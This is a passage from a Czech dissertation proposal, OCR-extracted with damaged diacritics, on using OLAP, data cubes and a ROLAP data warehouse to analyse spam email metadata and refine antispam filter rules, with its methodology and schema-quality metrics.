odpovidajicimu 3. normalni form¢.

Antispam

OLTP

Analytika
ETL

Rozhodovani

OLAP

Datovy sklad

Obrazek 23 - OLTP a OLAP (Tyrychtr, a dalsi, 2015)
Online Analytical Processing

OLAP néstroje 1ze charakterizovat jako prostfedek pro zpracovani velkych dat za
pomoci operaci nad agregovanymi daty. Na rozdil od OLTP néstroji OLAP pracuje
ve vysledku s menSim objemem dat — potiebuje tak mensi systémové zdroje. Na
druhou stranu vystupy z OLAP zobrazuji agregovand data v piehledné podobé —
analytické pohledy zprostfedkovavaji komplexni pohled na realitu pfedstavovanou

velkymi daty poskytnuté OLTP nastroji.

OLAP aplikace jsou uzitecné tam, kde se praktikuji techniky dolovani dat (data
mining) — charakteristické je prave zpracovani velkého mnozstvi dat v téméft realném
Case. Vyhodou OLAP je pak zachovani historie dat a tim dostupné evaluacni

techniky diive pfijatych rozhodnuti. V ramci zkoumani metadat emailovych zprav
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tak lze analyzovat a evaluovat navrhovana opatieni a pravidla na existujicich datech

a zkoumat jejich efektivitu.

Tabulka 3 - Srovnani OLTP a OLAP pfistupu k datiim.

Surové data — pouze drobné upravy.

Data jsou upravend — konsolidovana.

Dil¢i operace a kontrola dat, vyuziti

v ramci dil¢ich analyz.

Podpora komplexnich analyz dat, zdroj

pro Decission Support Systems.

Aktudlni pohled na data.

Vicedimenziondlni pohled na data dle

zkoumané problematiky.

Rychlé operace nad daty (vkladani a

Cteni dat).

Dlouhodobé pohledy, analyzy
s ¢asovym ramcem. Zmeény dat jsou

prevazné nezadouci.

Dotazy primarné pomoci SQL.

Agregace data a komplexni pohledy.

Pro jednoduché operace velmi rychlé,

slozit&jsi analyzy pomalé.

V pfipadé¢ indexovanych dat rychlé i
nad velkymi daty.

Diky updatim a absenci historie je

datovy objem pfiméteny.

Zachovavani historie a indexovani dat

vyZaduje odpovidajici prostor.

Datové tabulky jsou striktné¢ vazéany

normalizaci dat.

Typicka jsou denormalizovana data a

pouze nckolik datovych tabulek.
Odpadayji slozité operace se spojovanim
tabulek — vys$i rychlost za cenu

duplikace dat.

Nutné pravidelné zalohy dat.

Data jsou zdlohovana na nizSich
urovnich. Pro obnovu OLAP dat

postacuje znovunacteni dat.
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1.5.3 Datovy sklad

Pro ulozeni velkého mnozstvi dat je mozné pouzit datovy sklad, ten Ize charakterizovat
jako kolekei integrovanych dat ménicich se v ¢ase. Datovy sklad uklada data prabézné
a tato jsou pak k dispozici softwarovym nastrojim., datovy sklad je zakladem pro

¢innost nastrojui pro podporu rozhodovani.

Pokud jsou data sledovana dlouhodobé¢, musi byt zajisténa neménnost jejich podoby —
tedy ulozeni. Jakakoliv zména miize negovat jiz provedené analyzy a znehodnotit tak
dlouholety sbér dat. Elementarni funkei systému pro podporu rozhodovani jsou prave
casové analyzy dat — asovy udaj je doporucen jako jedna z dimenzi pro navrh datové

kostky.
MOLAP — multidimensional OLAP

Data v ramci téchto datovych skladl jsou ulozena ptimo v multidimenzionalni datové
struktuie — pfimo jako multidimenzionalni kostku. Data jsou pak spravovana MOLAP
serverem, ktery zajistuje pozadované operace nad datovymi kostkami v redlném case.
Vyhodou tohoto ptistupu je jednodussi uloZeni dat bez ohledu na sloZitosti provazejici
pripadny navrh stejné datové struktury v ramci relacni databaze. Nicméné MOLAP

systémy vykazuji vykonnostni problém v ramci dotazovani nad n¢kolika dimenzemi.
MOLAP systém obsahuje tii slozky:

e databazovy server,
e MOLAP server,

e Uzivatelské rozhrani.

Syst¢tmem MOLAP je naptiklad PALO od firmy Jedox. Dostupny jako standalone

server nebo jako plug-in pro OpenOffice a Microsoft Excel.
ROLAP - Rela¢ni OLAP

Relac¢ni typ datovych skladl vyuziva pro ulozeni dat relacni databaze, zjednodusuje to
praci se systémem, nebot databiaze je realizovatelna béZnymi databazovymi
technologiemi a usnadiiuje prvotni implementaci datového skladu. Vlastni OLAP
zpracovani je pak realizovano ROLAP serverem, ktery spojuje rela¢né€ ulozend data a

multidimenzionalni dotazovani nad nimi.
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ROLAP datové sklady 1ze snadno Skalovat a velmi zaddand je také moZnost ptistupovat
k datlim stejnymi nastroji jako k bézné relacni databazi. Realna je také tispora Casu pfi
planovani datového skladu a jeho spravé — postacuje technik se znalosti relacnich

databazi (Tyrychtr, a dalsi, 2015).

Nevyhodou ROLAP datového skladu je jeho nizsi rychlost v porovnani s MOLAP
designem. Je zde patrny rozdil v optimalizaci multidimenzionalniho 0lozisté a

V realizaci uloZeni dat do rela¢ni databaze.

Data jsou vV ROLAP ulozena dle schématu ve tvaru hvézdy nebo snéhové vlocky. Vzdy
je vhodné provést analyzu vykonu a zhodnotit ndvrh datového skladu dle vybrané

metodiky.
Ukéazkou ROLAP systému je Powerpivot od firmy Microsoft (Tyrychtr, a dalsi, 2015).

HOLAP

Snahou o vyuziti obou vyhod vySe zminénych ptistupti je HOLAP — hybridni OLAP
nastroj. Nevyhod tohoto konceptu je prozatim nevyjasnény pfistup k ulozeni dat — zda
preferovat relacni ¢i multidimenziondlni pfistup. Hybridni zde znamend pouziti
ruznych ¢asti obou systémli — neni vSak definovéna hranice, kdy se jesté¢ jedna o

HOLAP ¢i ROLAP (MOLAP) s drobnymi nuancemi.
Logicky model

Datovy sklad miizeme popsat jako soubor tabulek. Pro jednoduché aplikace postacuje
jedna, pokrocilej$i nastroje pak obsahuji desitky datovych kostek navrzenych pro

feSeni konkrétniho analytického problému. Datova kostka mé dvé slozky:

e Dimenze

e Miry

Tyto slozky jsou reprezentaci sledovanych dat, kde dimenze ptedstavuji jednotlivé
pohledy na data (datum odeslani, SMTP server, adresat, ...) a miry jsou potom

sledovanymi daty.
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Aktualizace

Datové¢ sklady ukladaji data po dlouhou dobu a tim umoziuji vytvaret dlouhodobé
piehledy, z davodu zachovéani téchto dat a tedy neovlivnitelnosti dlouhodobych analyz
a predikci, je problematické aktualizovani dat v datovych skladech. Pokud bychom

vybrana data zménili, mohlo by dojit ke zménam v ¢asti vystupti.

Aktualizace je sice velmi nedoporucena, ale je mozné ji v nezbytném piipadé
uskutecnit. Aktualizace dat je mozna tfemi zpUsoby a jeji vyuziti je tam, kde doslo
k odhaleni chyby v datech a je potieba tuto chybu narovnat. Pfikladem z praxe muze
byt zména v ucetnictvi po nalezeni dosud skryté chyby. V piipad¢ emailovych zprav
pak obnova zpravy dorucené se Spatnou hlavickou — chybé zadana emailova adresa

napiiklad (Tyrychtr, a dalsi, 2015).

Typ 1 — jednoduchd aktualizace vybrané dimenze, jedna se o opravu takovou, ktera

nema vyznamny vliv na historickou integritu dat

Typ 2 — aktualizace externich dat na stran¢ datové pumpy, jedna se opravu dat v delsim
casovém obdobi. Provadi se vlozenim novych zdznamu s aktualizovanymi daty.

V systému stale pfitomna.

Typ 3 — u tohoto typu je potfeba zménit datovy model pridanim nového atribut vybrané

dimenze.
1.5.4 Datova kostka

Dle ,,The RDF Data Cube Vocabulary W3C recommandation” je datova kostka
souborem dimenzi, mér a dat. Z té€chto sloZek je mozné vytvofit riizné datové kostky
Vv zéavislosti na aktualnim pohledu na data. Datova kostka zndzorfiovana v ukazkovych
schématech je tfirozmérna. Z tohoto divodu je nutné pro dal§i préaci stanovit
terminologii pro jednotlivé urovné datovych kostek. Pro ilustraci 1ze konstatovat, ze
datovou kostku je mozné prezentovat jako kfiZovou tabulku, kde jsou data seskupena

pfes jednu ¢i dvé dimenze.
Datova hyperkostka — data hypercube

Datova kostka je nejCastéji znazornéna jako objekt se tfemi dimenzemi (z divodu
snadné grafické prezentace), pro potieby metodiky AS-OLAP bude zapotiebi dimenzi

vice, pak se jednd o hyperkostku — definuje ji vice dimenzi nez tfi.
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Datova subkostka — data subcube

Struktura datové kostky neni jednolitd, ale slozena z mensSich datovych celkti. Pokud
uvazujeme substruktury — tedy mensi datové kostky uvnitf primarni, pak Ize pouzit
termin datova subkostka, ta je soucasti hlavni datové struktury, ale pro dan¢ analytické
zadani je vyvolana praveé subkostka — odstranime ze zpracovani miry a dimenze, které

pro aktualni ukol nejsou zapotiebi.
Elementrarni datova kostka — elementary data cube

Zékladni datova jednotka datové kostky, jedné se o nejmensi datovy prvek, ktery jiz
nelze rozdélit operacemi nad datovou kostkou. Kazda elementarni datova kostka je
pak urcena soufadnicemi — dimenzemi. Pocet dimenzi je v podstaté neomezeny, je dan
pouze vypocetni silou analytického stroje — tedy kolik dimenzi dokaZe zpracovat

V realném case.
Dimenze

Jednotlivé dimenze predstavuji tedy soufadnice vybrané elementarni datové kostky.
Jiny pohled, zejména pii navrhu datové kostky definuje, Ze dimenze predstavuje tridici
kritérium, podle kterého mizeme filtrovat data. Nad kazdou dimenzi mame moznost
provadét agregacni funkce, tedy vytvaret souhrnné zobrazeni dat. Kazda dimenze pak
muze obsahovat zptesiiujici data — atributy. U emailové zpravy to mtze byt napiiklad

doména adresy odesilatele.
Miry

Miry agregujeme dle vybranych dimenzi (a umisténi dimenze v hierarchické

struktufe). Dle stupné agregovatelnosti rozliSujeme tfi typy mér:

e Aditivni mira — muZeme provést agregaci dle libovolné dimenze, jedna se
obvykle o ¢iselna data

e Semi-aditivni mira — tyto miry lze agregovat omezené a pouze pies nékteré
dimenze.

e Neaditivni mira — jedna se o hodnoty, jejichz agregace postrada smysl
hodnotové a logicky. Typickym piikladem jsou procentni hodnoty — jejich

soucet neni vyuzitelnou hodnotou.
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Hierarchie a seskupovani dimenzi a mér

Jednotlivé dimenze mohou byt samostatné — nedélitelné, ale bézna je jejich
hierarchicka struktura, tou mizeme organizovat jednotlivé dil¢i dimenze do vysSich

celkt. Typickou dimenzi je zde datum — to 1ze rozd¢lit na dil¢i polozky:

e 10k,
e mgdsic
e tyden,
e den,

e den v tydnu.

V piipad¢ ukladani ¢asovych tidaji v ramci elektronické posty je tato hierarchie
bohatsi o Casovy udaj + oznaceni ¢asového padsma. Pak lze vytvaret pohledy na data
dle dil¢ich ¢asovych a datumovych udaji. Pro analyzu pfijimané emailové zpravy
jsou Casové udaje velmi diilezité — zejména, pokud komunikujeme pouze se subjekty
V ramci stejného casového pasma — emaily odeslané mezi 1:00 a 5:00 nejsou pfilis
Casté, na rozdil od nevyzadanych zprav (Seznam.cz, 2014).

1.5.5 Operace s datovymi kostkami

Nastroje pracujici s datovymi kostkami jsou schopny podat velmi detailni rozbory a
pohledy na data dle pozadavkl uzivatele. Zarovei jsou tyto operace provadény na

velkém mnozstvi dat pii velmi rychlé odezvé nastroje na podnét uzivatele. VeSkeré

tyto operace jsou realizovany nékolika mélo operacemi.
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Slicing — fez datovou kostkou
[ustrativni ndzev této operace presn¢ ukazuje na ttirozmeérnych datech p

podstatu této operace. Jedna se o pohled na data, kde dochazi k odebrani jedné dimenze

— slice (platek).
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Obrazek 24 - Operace slicing

Slicing = DCy,_4
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Dicing — vyiez datové kostky
Tato operace rozSifuje slicing, pfiddva moznost odebrat vice dimenzi — vytvofit
n¢kolik datovych subkostek. Ekvivalentem této operace je opakované pouZiti fezu —

vicendsobné odebrani jedné dimenze.
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Obrazek 25 - Operace dicing

Dicing = DCy,_,
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Roll up a drill down

Témito operacemi ménime podrobnost pohledu na data. Pfi maximalnim dril down je

mozné prohlizet elementarni prvky datové kostky. Pfi roll up pak abstrahujeme od

zékladnich dat a vnimame je jako vyssi celky.

Agregace
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Obrazek 26 — Operace roll-up a dril-down

Operace je souhrnem nad vybranou urovni pohledu na datovou kostku. Jedna se o

sjednoceni pohledu na detailni data. Z nckolika zakladnich datovych kostek

sestavujeme jednu na vyssi urovni agregace.

Obrazek 27 - Agregace datovych kostek
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Pivot

Otaceni kostky slouzi k riznym pohlediim na data. Jedna se o preskupovani dimenzi,

které umozni potencionalné zcela novy pohled na data a vyuziti dosud nezndmych

souvislosti.
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Obrazek 28 - Operace Pivot
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2 Vysledky syntézy literarni reSerse

Vyse uvedena opatfeni charakterizuji hlavni defenzivni opatieni proti Cinnosti
spammert. Ne z hlediska omezeni rozesilani zprav, ale z hlediska jejich zachyceni
pired dorucenim do uzivatelskych schranek. Pro jejich nasazeni hovoii zvladnuté

postupy a dlouhodob4 Gc¢innost.

Jejich nasazeni by mélo byt definovano piedevSim jejich ucinnosti, avSak u témeét
vSech testd a hodnoceni schazi analyza jejich naro¢nosti na systémové zdroje. To je
problém zejména u pokrocilych technik, které jsou se svoji komplexitou a naroky
Vv podstaté diskvalifikuji z nasazeni v praxi (Seznam.cz, 2014), byt’ v ramci nastroje
SpamAssassin je mozné vyuzit genetického algoritmu pro hodnoceni skore zprav (Bo

Yu, 2008).

Mnozstvi nevyzadanych zprav predstavuje vysokou zatéZz pro elektronickou
komunikaci. Tato narocnost se tykd jak hardware, software, tak 1 uzivatell
elektronické komunikace. Vzhledem k zapojeni mnoha ptistupti a technologii 1ze o
antispamovych nastrojich hovofit obecné¢ jako o interdisciplindrnim komplexu
riznych metod, jejichz vyuziti je zaméfeno na kooperaci a dosazeni nejlepSiho
mozného vysledku. Ten pfedstavuje kompromis vhodné nastaveny tak, aby bylo
mozné nevyzadané zpravy zachycovat s u€¢innosti limitn¢ se blizici 100% pti optimalni

spotiebé vypocetnich zdroji.

Tento interdisciplinarni pfistup umoZiiuje vyuzivat také moznosti Business

Intelligence. Zejména nékolik klicovych komponent BI — OLAP a Data Warehouse.

OLAP jako nastroj pro podporu rozhodovani, kterou zde predstavuje analyza
dostupnych dat a metadat, vysledkem je komplexni pohled na vlastnosti dostupnych

zprav a uprava existujici sady pravidel pro antispamovy nastroj.

Druhou slozkou je pak datovy sklad, kde je moZné ukladat piijaté emailové zpravy pro
dalsi analyzu. Datovy sklad musi byt robustni feSeni, nebot’ v ptipadé velké firmy je
datovy objem uklddanych dat velmi velky. U poskytovatele emailovych sluzeb lze

hovofit o jednotkach TB denn¢ (Seznam.cz, 2014).

Ve standardnich variantadch nasazeni antispamovych nastrojti mé kazdy filtr sva vlastni
nastaveni a hodnoty ulozené separatn€. Ptikladem miize byt seznam IP adres

spravovany nastrojem pro Blacklisting, seznam slov a hodnoceni jejich spamovosti
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spravované nastrojem Bayesovského filtru. Takto ulozend data nelze zpracovavat

S jednotnym pohledem a provadét komplexni analyzu.

Po ulozeni metadat nevyzadanych zprav do jednoho ulozisté ziskdme moznost
aplikovat OLAP analyzu na emailové zpravy. Divodem je vySe zminéna moznost

provadét manudlni analyzy dat pro odhaleni skrytych vzort.

Nasledné lze ziskavat odpovédi na otazky, které vyzaduji analytické zpracovani

sumarizovanych a agregovanych dat:

1) Jaka je spamovost zprav piijatych z vybranych zemi?
2) Jaké je rozlozeni spamovosti u zprav tiidénych dle hodiny piijeti?

3) Existuje vztah mezi odkazy v nevyzadanych zpravach a zemi pivodu zpravy?

Autor disertacni prace se domniva, ze spravné pouziti analytického néstroje Ize vyuzit
ke zvySeni G¢innosti antispamového feseni, véetné kontroly vysledkl rozhodovani a

ke stanoveni vykonnostnich charakteristik celého antispamového feseni.
Zhodnoceni elementarnich antispamovych technik

Antispamova problematika je multioborovou disciplinou, kterd v sobé zahrnuje
nejenom technologické prvky, ale také teoretické predpoklady, matematické a
statistické analyzy a modelovani. V praxi je nutné nasadit nékolik filtrovacich metod
tak, aby byl maximalizovan jejich u¢inek pii minimalizovani systémovych pozadavki.
Cilem je najit prinik mezi jednotlivymi nastroji a kombinovat jejich silné stranky tak,

aby byly potlaceny slabé, které by znehodnocovaly vysledné feSeni.

Na zéklad¢ zjisténych dat a pfi analyzach velkého mnoZstvi zachycenych zprav
povazuje autor prace za vhodné se zaméfit na vykonovou stranku antispamovych
nastroju. Na zakladé konzultace (Seznam.cz, 2014) je nutné akceptovat soucasné
omezeni vykonovych charakteristik serverovych feseni emailovych center. Proto bude
vyzkum smétovan do oblasti vykonovych charakteristik s cilem definovat metodiku
vytvofeni antispamového feSeni s diirazem na optimalizaci nastavenych pravidel

pomoci analyzy metadat emailovych zprav.

Toto bude mit vyznamny dopad na firmy, které si emailové sluzby zajist'uji vlastnimi
silami a vyzaduji rychlé a spolehlivé feSeni. Na zdkladé studia odborné literatury a
vlastniho vyzkumu je mozné stanovit dvé pravidla, ktera musi pouZivany soubor

antispamovych metod spliovat.
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Pravidlo 1

Aplikovand metoda (¢i metody) omezovani nevyzadanych zprav nesmi sniZovat

komfort uzivatele pii komunikaci prostfednictvim elektronickych nastroja.
Pravidlo 2

Jednotlivd opatfeni museji zajiStovat maximalni spolehlivost pfi minimdlnich

narocich na systém.
2.1 Teoreticka mezera

Na zéklad¢ téchto pravidel a pii zohlednéni teoretickych a praktickych poznatka 1ze
stanovit aspekty, které je nutné brat v ivahu pii navrhu antispamového teseni. Pro
maximalni efektivitu nasazenych antispamovych nastrojii je nezbytné velmi peclivé
analyzovat dostupné nevyzadané zpravy. Pomoci analyzy lze provést verifikace
aktudlnich antispamovych pravidel a zaroven testovat nové zdpisy tak, aby byla

ucinnost antispamového fesSeni maximalni.

Pro tento ucel se vyuzivaji rizné nastroje, napiiklad ETL software ElasticSearch, ten
je vyuzivan v CR napiiklad poskytovatelem emailovych sluzeb Seznam.cz
(Seznam.cz, 2014). Zde dochazi k analyze metadat emailovych zprav a k upfesiovani
pravidel antispamového filtraéniho systému. Jedna se primarné o sledovani souvislosti
mezi n¢kolika agregovanymi metadaty. ElasticSearch je pouzivan v rdmci manudlni

analyzy dat.

ETL nastroje se skladaji ze tfi krokl, které pomadhaji uZzivateli s analyzou dat.
Charakteristické pro ETL néstroje je pfevod dat do pfehledné a srozumitelné formy.
Klicové je podat data tak, aby bylo mozné abstrahovat od jejich objemu a sousttedit se
na podstatu analyzovaného problému. Typickd implementace je v rdmci
vyhodnocovani obchodni a vyrobni ¢innosti. Na ptikladu spolecnosti Seznam.cz lze
ukdazat, Ze analyza metadat emailovych zprav je v ramci nasazeni ETL nastroje mozna
a prinosna.

Vystup ETL néstroje je mozné vyuzit jako vstupni data pro OLAP systémy — pro dalsi
analyzy agregovanych dat a jejich vizualizaci. ETL tak slouzi k pfipravé, transformaci

a Cisténi dat pro OLAP analytiku. Vystupem je transformovana data ulozitelna ve

formé¢ tabulek, jeji zpracovani konvencnimi formami potiebuje silné vypocetni zdroje
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(CPU, RAM, IOPS diskové operace nad dostupnym ulozistém). OLAP datové kostky

vSak praci s témito rozsahlymi daty umoznuji.

Pro analytickou praci s metadaty je nutné nasadit feSeni, které je schopno analyzovat
velké mnozstvi dat, a automatizovat manualni Setfeni. V prostiedi firemni analytiky se
vyuziva nastroju business intelligence. Pro vyhodnocovani metadat emailovych zprav
se nabizi vyuziti online analytical processing. V ramci OLAP pak je mozné zkoumat
agregovand metadata pomoci datovych kostek, diky vytvafeni pohledi, moznosti

seskupovat sledovana data a pracovat s velmi objemnymi daty.

Tato problematika — spojeni analytiky nevyzadanych zprav a OLAP neni v odborné
literatufe popsana. Proto autor prace povazuje spojeni téchto dvou problematik za

disertabilni.
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3 Cil disertacni prace

Dle poznatki ziskanych studiem védecké literatury bylo zjisténo, Zze vyzkum metod a
postupti pro Klasifikaci emailovych zprav a jejich eliminaci stale aktualni. Toto
poznani je ve shodé se ziskanymi poznatky autora, jako spravce servert, a s poznatky
ziskanymi z praxe. Védecké i komercni subjekty vynakladaji mnoho Gsili na zajisténi
komfortu uzivatell emailovych schranek. Jejich Gsili je limitovdno mnozstvim
pfijimanych zprav a dostupnymi systémovymi zdroji. Tato skuteCnost je zfejma

zejména pi1 komunikacnich Spickach — vanoce, Novy rok a dalsi.

Hledani efektivnich néstrojii smétuje k naroénym metodam detekce. Jako piiklad 1ze
uvést neuronové sité¢, umeélou inteligenci a dalsi. Tyto postupy jsou dnes bohuzel velmi
narocné a jejich pozadavky na systémové zdroje je limituji prozatim pouze na

experimentalni nasazeni.

Proto autor prace povazuje za vhodné vénovat se kontrole a uptesitovani pravidel pro
klasifikaci doslych zprav. Toto Ize realizovat analyzou metadat emailovych zprav.
Limitem je zde velky objem dat (i TB denné), ktery je pii velkém mnozstvi intenzivné
komunikujicich zaméstnancti enormni. Autor prace povazuje za mozné vyuZzit pro
analyzu té€chto velkych objem dat datové tlozisté a metody OLAP (Online Analytical
Processing). Po aplikaci vhodné transformace se objem dat vyrazné snizuje.
Z testovaciho souboru o velikosti v fadu GB je vysledny objem xml souboru mén¢ nez
700MB. Navic je tato velikost ovlivnéna velkou rezijni XML jazyka. Vysledny soubor
pouzity v PowerPivotu ma velikost pod 120MB — tedy o fad niz$i s moznosti dalsi

optimalizace.
Hlavni cil prace

Ndavrh metodiky implementace ROLAP datového uloZisté jako ndstroje pro uklddani a

analyzu metadat antispamovych zprav.

Tento sklad lze pak efektivné vyuzit pro analyzu nevyzadanych emailovych zprav.
Vysledna metodika bude respektovat jednotlivé pouzivané metody hodnoceni

spamovosti emailovych zprav a bude mozné ji provozovat v prostiedi relacni databaze.
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K dosazeni cile prace je tieba navrhnout feSeni nasledujicich problému:

e Stanoveni klicovych metadat emailovych zprav

e Navrh konceptuélniho a logického datového modelu

¢ Definice dil¢ich hodnoceni souvisejicich metadat — vektorizaci

e Navrhnout metodu PD-MEZ — datovou pumpu pro metadat emailovych zprav
e Vytvofit prototypové feSeni OLAP databaze pro jednotlivé datové modely

e Provést evaluaci téchto modeli

e Verifikovat navrzené feSeni
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4 Metodika disertacni prace

Antispamova problematika zahrnuje mnoho technik, které se vyuzivaji pro analyzu
pfichozich zprév. Disertacni prace tyto techniky musi respektovat pii navrhu

prototypového datového skladu.
Préce se d€li na tyto hlavni ¢asti:

e Teoretickd — obsahuje analyzu soucasného stavu poznani,

e Metodickd — obsahuje seznam pouzitych metod a stanovuje postup vlastniho
feSenti

e Vlastni feSeni — obsahuje vSe vedouci ke splnéni cila prace

Za timto G¢elem bude vyuzito modelovani multidimenzionalniho datového skladu —

uzita metoda a zaroven vlastni predmét vyzkumu.

Soucasny pfistup k feSeni antispamové problematiky spo¢iva v pouziti elementarnich
nastrojii pro implementace na malych serverech. Pro vykonnéjsi feSeni se ptidavaji
distribuované nastroje, které stavi na velké sdilené datové bazi. Pokud je do
distribuovanych filtrti zapojeno dostate¢né mnozstvi servert, jejich uc¢innost je vysoka,
nicméné pouze proti zndmym setiim nevyzadanych zprav. Nejvyssim stupném je
integrace téchto elementarnich nastrojii do ucelenych softwarovych feSeni. Piikladem
muize byt feSeni GWAVA implementované na CZU, zde je navic aplikovano nékolik
feSeni po sobé (celkem tedy Ctyf stupiiové hodnocenti).

Rizeni t&chto nastrojii vyzaduje pozornost zejména pii jejich Gerstvé implementaci —
ucici se nadstroje nemaji dostatek dat pro efektivni rozhodovani. Proto je nutné pouZzivat

nastroj k analyze vysledkd filtrace, evaluaci nastavenych pravidel a k pfipravé novych.

Seznam.cz pouziva k tomuto nastroji ETL nastroj — Elasticsearch (Seznam.cz, 2014).
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Pro testovani navrzené metodiky a jeji evaluaci je pfipraven soubor nevyzadanych
zprav. Upravy pravidel budou testovany v b&Zzném provozu na nékolika doménéach

realnych webovych stranek.
Testovaci soubor obsahuje vzorky z né¢kolika zdroju:

e soubory od firmy Excello (C2),
e soubory od firmy Spamhaus (DE),
e soubory z autorem administrovanych emailovych serveru,

e zachycené anonymni zpravy poskytnuté OIKT CZU v Praze.

Celkem se jedna od 370 308 nevyzadanych emailovych zprav. Tento soubor spamu
bude pouzit k experimentalnimu otestovani pouzitelnosti metodiky ASOLAP jako

nastroje pro analyzu emailovych zprav.
4.1 PouZité ndstroje

V ramci ovétreni navrzené metodiky a stanovenych postupii byl vyuzit nastroje OLAP.
od firmy Microsoft — PowerPivot. Tento dopln€k pro Microsoft Excel zvySuje
moznosti zpracovani dat tohoto tabulkového procesoru tim, ze je mozné zpracovavat
rozsahlejsi data, nez by bylo mozné v ramci zakladniho MS Excelu. Zaroven je
vyhodné pouziti desktopového software pro lepsi vizualni dokumentaci pro ucely

prace.
PowerPivot

Pro modelovy ptiklad byl zvolen dopln¢k aplikace Microsoft Excel — Microsoft
PowerPivot. Tento dopln€k piedstavuje nastroj pro analyzu dat, zejména velkych dat,
kterd pro Microsoft Excel ptedstavuji vykonovy problém. Navic je mozné s nim
provadét operace nad OLAP ulozi§tém. Vyhodou zde je to, Ze dopln€k vyuziva

standardniho rozhrani Microsoft Excel.

Pro analyzu metadat nevyzadanych zprav predstavuje vykonny néstroj, ktery umozni
ilustrovat pouziti OLAP nastroje v redlném serverovém prostiedi. Toto zjednoduseni
je vhodné, nebot’ 1ze abstrahovat od konkrétniho serverového prostfedi. Pti pouziti
Microsoft PowerPivot (dale pouze PowerPivot) I1ze provadét interaktivni analyzy dat
jejich vzajemnym srovndvanim na zéklad¢ operaci nad OLAP daty — prostfednictvim
nastroji Microsoft Excel (kontingenéni tabulky, operace nad datovou kostkou - fezy,

roll-up a dril-down).
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Power View — tvorba reportt

Kontingenéni
tabulka

Power Pivot — sprava datového modelu

Tabulka v listu

Power Query — nacteni a transformace

Externi data

Obrazek 29 - Nastroje Microsoft PowerPivot pro Excel (vlastni vyzkum autora)

UloZeni dat

Na rozdil od standardniho prostfedi Microsoft Excel se v nastroji PowerPivot data
ukladaji v analytické databdzi v ramci Microsoft Excel a PowerPivot zprostiedkuje
nacteni dat, operace s daty a aktualizaci dat. Vyhodou je pak dostupnost v§ech nastroji

Microsoft Excel a také nastroji pro OLAP.

Zaroven je snadné vytvofit vystupy a prezentace dat vcetné propojeni do dalSich
aplikaci Microsoft Office. Dopln¢k PowerPivot podporuje soubory s velikosti do 2 GB
a umoziuje praci s daty v paméti do velikosti 4 GB.

Data Analysis Expression

Pro vypocty je v PowerPivotu pouZzito vzorcli DAX ty jsou velmi podobné vzorcim
Excelu. Stejn¢ jako v zdkladnim rozhrani, i zde jsou dostupné¢ pomuicky v fadku

vzorcl, pro vypocet staci zacit rovnitkem. DAX poskytuje fadu funkci pro praci

S fetézci, vypocty a vyhodnocovani podminek.

DAX nelze oznacit jako standardni vzorce znamé z prostfedi Microsoft Excelu, 1181 se

\'A

e Vypocty se lisi dle kontextu
e Vysledkem jsou obvykle tabulky, ne jednotlivé bunky s hodnotou

e Umoziuji porovnavani ¢asovych dat paralelnich obdobi
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DAX vzorce jsou typicky pouzivané ve vypocitanych sloupcich, tedy takovych, které
jsou pfidany na zaklad¢ zakladnich importovanych dat. Vyhodou zde je, ze vzorce jsou
automaticky aplikovany na vSechny bunky dané¢ho sloupce, odpadd tedy jejich
kopirovani.

Mira je vzorec, ktery je vytvoren specidln€ pro pouziti v kontingen¢ni tabulce (nebo
grafu), ktery je vytvofen prostiednictvim PowerPivotu. Vypocty jsou zalozeny na
standardnich agrega¢nich funkcich, jako je naptiklad Pocet nebo Suma, je také mozné

definovat vlastni vzorec pomoci DAX.
4.2 Metody méreni kvality datovych skladi

Po navrhu datového skladu je nutné validovat jej dle odpovidajici metodiky. Na
zéklad¢ hodnoceni pak lze navrh datového skladu odsouhlasit ¢i zamitnout a
ptepracovat. Metodik pro hodnoceni ndvrhu datovych skladi 1ze ve védeckeé literatuie

dohledat 22 (Patnaik, a dalsi, 2015).

Pocet ¢lank(

Citelnost
Efektivnost
Expresivita

Jednoduchost
Komplexnost
Spravnost

Srozumitelnost

Uéinnost

o
N
I
(<))
[*]

10 12

Obriazek 30 - Védecké ¢lanky k hodnoceni datovych schémat
Pro ucely prace je vyuzito hodnoceni dle metodickych pfistupli zaméfenych na
Srozumitelnost a Komplexnost. Tato hodnotici kritéria byla vybrana na zakladé¢
doporuceni (Patnaik, a dalsi, 2015).
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Hodnoticimi kritérii jsou zde:

e NDT — number of dimension tables — pocet tabulek dimenzi

e NT — number of tables — pocet v§ech tabulek

e NADT — number of attributes of dimension tables - pocet atributi v tabulkach
dimenzi

e NAFT — number of attributes plus the number of foreign keys — pocet atributi
plus pocet cizich klict v tabulce faktt

e NA — number of attributes — pocet atributii

e NFK — number of foreign keys — pocet cizich kli¢a

Tyto metriky umozniuji méfeni kvality OLAP datovych skladu ve schématu hvézdy
nebo snéhové vlocky dle slozitosti schématu samotného, kde je slozitost dana poctem
tabulek, atributti a cizich kli¢t schématu. Pfi porovnani dvou riznych schémat, které
maji stejnou silu informace, pak pii pouziti metrik (naptiklad, prvni model ma mensi
pocet atributli nez druhy), pak mtizeme konstatovat, kvalita prvniho schématu je vétsi
nez druhého schématu. Lze tedy prostfednictvim metrik predpokladat, ze kvalita je
ovlivnéna slozitosti a tudiz schéma s nizkou slozitosti, je tfeba preferovat pied

schématem s velkou slozitosti (Di Tria, a dalsi, 2012).

Zejména posledni dvé metriky jsou velmi vyznamné. Metrikou RFK vypoditame
pomeér poctu cizich kli¢h v tabulce faktl k celkovému poctu atributii. Vysoka hodnota
této metriky penalizuje tabulky faktt, které maji vysoky pocet cizich klica a nékolik
mér. Obecné V tabulkach dimenzi dva atributy obvykle postacuji: primarni kli¢ a

popisny atribut. Jiné popisné atributli jsou ¢asto zbyte¢né (Di Tria, a dalsi, 2012).
Hodnoceni dle spotiebovaného ¢asu

Obe¢ prototypova feSeni budou otestovana na dostupnych datech a zméfen Cas potiebny
K realizaci vybraného pohledu na data. Méfeni bude opakovano pro eliminaci
odlehlych pozorovani, ktera mohou byt projevem docasného vytizeni systému jinou

ulohou. Vysledny primér pak bude slouzit jako tfeti hodnotici parametr.
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Meéfteni bude realizovano pomoci jazyka VBA (Visual Basic for Applications), ktery
kromé spousténého kodu pro realizaci pohledu na data, bude obsahovat méfici cast.

Vystupem bude hodnota v sekundéch.
Dim StartTime As Double
Dim SecondsElapsed As Double
StartSkriptu = Timer
Provedeni makra nad daty
CasBehu = Round(Timer - StartSkriptu, 2)

End Sub

Vysledné doporuceni pak bude zalozeno na vyhodnoceni vysledka vSech hodnoticich

kritérii a na tomto zaklad¢ bude zvoleno vhodné datové schéma pro pouziti v navrzené

metodice ASOLAP.
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5 Vlastni reseni

Ukladané mnozstvi dat rok od roku roste. Vyznam téchto dat také. Data jsou cennd pro
